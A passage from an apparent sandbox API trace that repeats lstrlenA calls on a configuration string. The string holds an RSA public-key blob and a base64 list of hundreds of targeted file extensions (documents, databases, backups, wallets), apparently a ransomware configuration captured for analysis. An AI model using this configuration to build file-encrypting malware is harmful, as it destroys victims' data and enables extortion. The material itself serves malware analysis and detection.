kLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.463] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.463] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.463] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.463] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLC